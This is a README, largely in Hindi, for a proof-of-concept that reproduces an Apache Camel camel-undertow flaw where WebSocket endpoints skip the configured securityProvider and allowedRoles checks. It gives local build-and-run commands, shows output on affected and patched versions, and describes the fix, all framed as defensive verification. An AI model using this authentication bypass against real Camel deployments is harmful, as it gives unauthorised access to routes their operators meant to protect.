
CVE-2026-105966 को पुनरुत्पादित करने वाला एक रन करने योग्य Camel Spring Boot प्रूफ-ऑफ-कॉन्सेप्ट, जिसमें camel-undertow ने WebSocket एंडपॉइंट्स पर securityProvider और allowedRoles जाँचों को छोड़ दिया था।
Apache Camel की उस कमज़ोरी के लिए चलाने योग्य proof-of-concept reproducer, जिसमें कॉन्फ़िगर किए गए
securityProvider और allowedRoles WebSocket endpoints पर लागू नहीं होते थे, इसलिए एक क्लाइंट बिना उन
authentication और role जाँचों को पास किए WebSocket consumer खोल सकता था जो HTTP endpoints पर लागू होती हैं।
| Runtime | Directory | Stack |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-undertow 4.22.1 |
केवल Camel Spring Boot। कोई
camel-quarkus-undertowextension नहीं है (Quarkus का अपना Vert.x HTTP stack है), Camel Quarkus 3.39.0 source tree और उसके BOM के विरुद्ध सत्यापित, इसलिए यह component Camel Quarkus पर नहीं चलाया जा सकता।
दो consumers एक ही undertow server पर समान security configuration के साथ बैठे हैं - वही
securityProvider, वही allowedRoles। एक HTTP बोलता है, दूसरा WebSocket:
from("undertow:http://0.0.0.0:8081/api?securityProvider=#demoSecurityProvider&allowedRoles=admin")
from("undertow:ws://0.0.0.0:8081/feed?securityProvider=#demoSecurityProvider&allowedRoles=admin")
cd camel-spring-boot
mvn clean package
docker compose up -d --build
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
प्रभावित बिल्ड पर आउटपुट:
1) HTTP endpoint, no token
HTTP 403 refused
2) HTTP endpoint, with the token
HTTP 200 ADMITTED
3) WebSocket endpoint, NO token - the same security configuration
handshake: CONNECTED - the upgrade succeeded and the client can send on the protected feed
4) WebSocket endpoint, with the token
handshake: CONNECTED - the upgrade succeeded and the client can send on the protected feed
Every question the security provider was actually asked:
- /api -> FORBIDDEN
- /api -> OK
>>> PROVEN: ...
प्रदाता की कॉल सूची ही प्रमाण है। इसमें केवल /api है: प्रदाता से /feed के बारे में कभी पूछा ही नहीं गया। UndertowConsumer ने अपने बनाए गए HTTP handler में securityProvider / allowedRoles जाँच चलाई, जबकि एक WebSocket endpoint CamelWebSocketHandler के माध्यम से पंजीकृत किया गया था, जो इस रिलीज़ में किसी भी प्रकार का प्रमाणीकरण नहीं करता - इसलिए upgrade ने जाँच को विफल करने के बजाय पूरी तरह से छोड़ दिया।
HTTP consumer नियंत्रण है: वही कॉलर टोकन के बिना 403 के साथ अस्वीकार कर दिया जाता है और टोकन के साथ स्वीकार कर लिया जाता है, इसलिए कॉन्फ़िगरेशन स्वयं सही है और केवल WebSocket पथ ही असुरक्षित है।
कोई identity provider नहीं और कोई नेटवर्क नहीं। एक छोटा UndertowSecurityProvider deployment के प्राधिकरण का प्रतिनिधित्व करता है: एक कॉलर तभी अधिकृत होता है जब वह एक साझा bearer token प्रस्तुत करता है और endpoint की अनुमत भूमिकाओं में admin शामिल हो। इसमें की गई प्रत्येक कॉल दर्ज की जाती है, जिससे "कभी नहीं पूछा गया" दृश्यमान हो जाता है।
driver प्रत्येक consumer तक उसी तरह पहुँचता है जैसे कोई बाहरी client पहुँचता है: HTTP वाले के लिए एक सामान्य HTTP GET, और WebSocket वाले के लिए एक वास्तविक WebSocket handshake (java.net.http.WebSocket)।
| Property | Value |
|---|---|
| Component | camel-undertow (UndertowConsumer, CamelWebSocketHandler) |
| CWE | उस endpoint पर अनुपस्थित प्राधिकरण जिसे deployment ने संरक्षित के रूप में कॉन्फ़िगर किया था |
| Severity | उच्च |
| Attack vector | securityProvider / allowedRoles के साथ कॉन्फ़िगर किए गए undertow consumer से WebSocket कनेक्शन खोलना |
| Impact | आवश्यक प्रमाणीकरण या भूमिका के बिना उस route तक पहुँचना जिसे एप्लिकेशन संरक्षित करना चाहता था |
| Affected Versions | 4.0.0 से पहले 4.18.6; 4.19.0 से पहले 4.22.2 |
| Fixed Versions | 4.18.6, 4.22.2, 4.23.0 |
| JIRA | CAMEL-25375 |
| Credit | Andrea Cosentino from Apache Software Foundation |
Advisory: https://camel.apache.org/security/CVE-2026-105966.html
security-constraint जाँच अब WebSocket consumers के लिए भी चलती हैं, इसलिए वही प्रमाणीकरण और अनुमत भूमिकाएँ लागू की जाती हैं: CamelWebSocketHandler upgrade से पहले exchange का प्रमाणीकरण करता है और प्रदाता के मना करने पर status code सेट करता है।
camel.version को 4.22.2 पर सेट करें और इसे फिर से चलाएँ। 4.22.1 -> 4.22.2 के विरुद्ध सत्यापित:
3) WebSocket endpoint, NO token
handshake: refused - WebSocketHandshakeException: null
4) WebSocket endpoint, with the token
handshake: CONNECTED - the upgrade succeeded and the client can send on the protected feed
Every question the security provider was actually asked:
- /api -> FORBIDDEN
- /api -> OK
- /feed -> FORBIDDEN
- /feed -> OK
>>> NOT reproduced: the WebSocket upgrade was refused without a token.
ध्यान दें कि दो नई /feed प्रविष्टियाँ हैं: अब WebSocket पथ के लिए प्रदाता से परामर्श लिया जाता है, यह बिना टोकन वाले कॉलर को अस्वीकार कर देता है, और अधिकृत कॉलर अभी भी कनेक्ट होता है।
यह रिपॉज़िटरी शैक्षिक और रक्षात्मक उद्देश्यों के लिए प्रकाशित की गई है: Apache Camel उपयोगकर्ताओं को इस भेद्यता को समझने, यह सत्यापित करने कि क्या वे प्रभावित हैं, और यह पुष्टि करने में सहायता करने के लिए कि अपग्रेड करने से यह समस्या हल हो जाती है। इस सामग्री का उपयोग उन सिस्टमों के विरुद्ध न करें जिनके आप स्वामी या संचालक नहीं हैं।